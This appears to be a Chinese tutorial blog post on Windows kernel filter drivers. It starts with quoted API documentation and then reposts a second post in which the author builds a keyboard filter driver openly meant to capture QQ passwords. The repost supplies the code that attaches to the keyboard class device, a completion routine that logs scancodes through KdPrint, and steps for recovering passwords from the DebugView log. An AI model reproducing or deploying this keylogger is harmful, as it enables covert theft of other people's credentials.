windows 驱动 设备过滤步骤以及相关函数学习

本文详细介绍了在Windows环境下创建和管理过滤设备的过程,包括设备对象的获取与生成、设备间的绑定与解除绑定、以及设备对象的删除等关键步骤。同时,还提供了相关API函数如IoGetDeviceObjectPointer、IoCreateDevice等的使用说明。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

步骤如下:

1、获取获取设备对象

2、生成过滤设备

3、设备绑定 

4、把过滤设备绑定到设备对象上

5、进行过滤处理

6、解除设备绑定

7、删除生成的过滤设备

 

涉及函数如下:

1、通过设备名获取设备指针

IoGetDeviceObjectPointer

The IoGetDeviceObjectPointer routine returns a pointer to the top object in the named device object's stack and a pointer to the corresponding file object, if the requested access to the objects can be granted.

NTSTATUS 
  IoGetDeviceObjectPointer(
    IN PUNICODE_STRING
  ObjectName,
    IN ACCESS_MASK
  DesiredAccess,
    OUT PFILE_OBJECT  *
FileObject,
    OUT PDEVICE_OBJECT  *
DeviceObject
    );

 

2、生成设备对象

Creating the Filter Device Object

Call IoCreateDevice to create a filter device object to attach to a volume or file system stack. In the FileSpy sample, this is done as follows:

status = IoCreateDevice(
        gFileSpyDriverObject,                 // DriverObject
        sizeof(FILESPY_DEVICE_EXTENSION),     // DeviceExtensionSize
        NULL,                                 // DeviceName
        DeviceObject->DeviceType,             // DeviceType
        0,                                    // DeviceCharacteristics
        FALSE,                                // Exclusive
        &newDeviceObject);                    // DeviceObject

 

3、绑定一个设备到另一个设备上IoAttachDeviceToDeviceStack

The IoAttachDeviceToDeviceStack routine attaches the caller's device object to the highest device object in the chain and returns a pointer to the previously highest device object.

PDEVICE_OBJECT 
  IoAttachDeviceToDeviceStack(
    IN PDEVICE_OBJECT
  SourceDevice,
    IN PDEVICE_OBJECT
  TargetDevice
    );

Parameters
SourceDevice
Pointer to the caller-created device object.
TargetDevice
Pointer to another driver's device object, such as a pointer returned by a preceding call to IoGetDeviceObjectPointer.

 

4、负责将绑定的设备解除绑

IoDetachDevice

The IoDetachDevice routine releases an attachment between the caller's device object and a lower driver's device object.

VOID 
  IoDetachDevice(
    IN OUT PDEVICE_OBJECT
  TargetDevice
    );

Parameters
TargetDevice
Pointer to the lower driver's device object. The caller previously called IoAttachDevice or IoAttachDeviceToDeviceStack successfully to get this pointer.
Return Value

None

 

5、删除这个设备对象

IoDeleteDevice

The IoDeleteDevice routine removes a device object from the system, for example, when the underlying device is removed from the system.

VOID 
  IoDeleteDevice(
    IN PDEVICE_OBJECT
  DeviceObject
    );

Parameters
DeviceObject
Pointer to the device object to be deleted.
Return Value

None

其他函数:

1、获得IRP的当前栈空间指针

IoGetCurrentIrpStackLocation

The IoGetCurrentIrpStackLocation routine returns a pointer to the caller's stack location in the given IRP.

PIO_STACK_LOCATION 
  IoGetCurrentIrpStackLocation(
    IN PIRP
  Irp
    );

Parameters
Irp
Pointer to the IRP.
Return Value

The routine returns a pointer to the I/O stack location for the driver.

 

2、所有电源操作,全部直接放过代码

                // 直接发送,然后返回说已经被处理了。
                PoStartNextPowerIrp(irp);//vista已经不需要
                IoSkipCurrentIrpStackLocation(irp);
                return PoCallDriver(s_nextobj[i],irp);

 3、其它非电源请求,直接下发执行即可。不禁止或者改变它代码
            IoSkipCurrentIrpStackLocation(irp);
            return IoCallDriver(s_nextobj[i],irp);

http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值